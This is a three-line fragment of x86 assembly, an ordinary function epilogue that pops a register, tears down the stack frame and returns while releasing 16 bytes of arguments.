pop ebx
leave
ret 0x10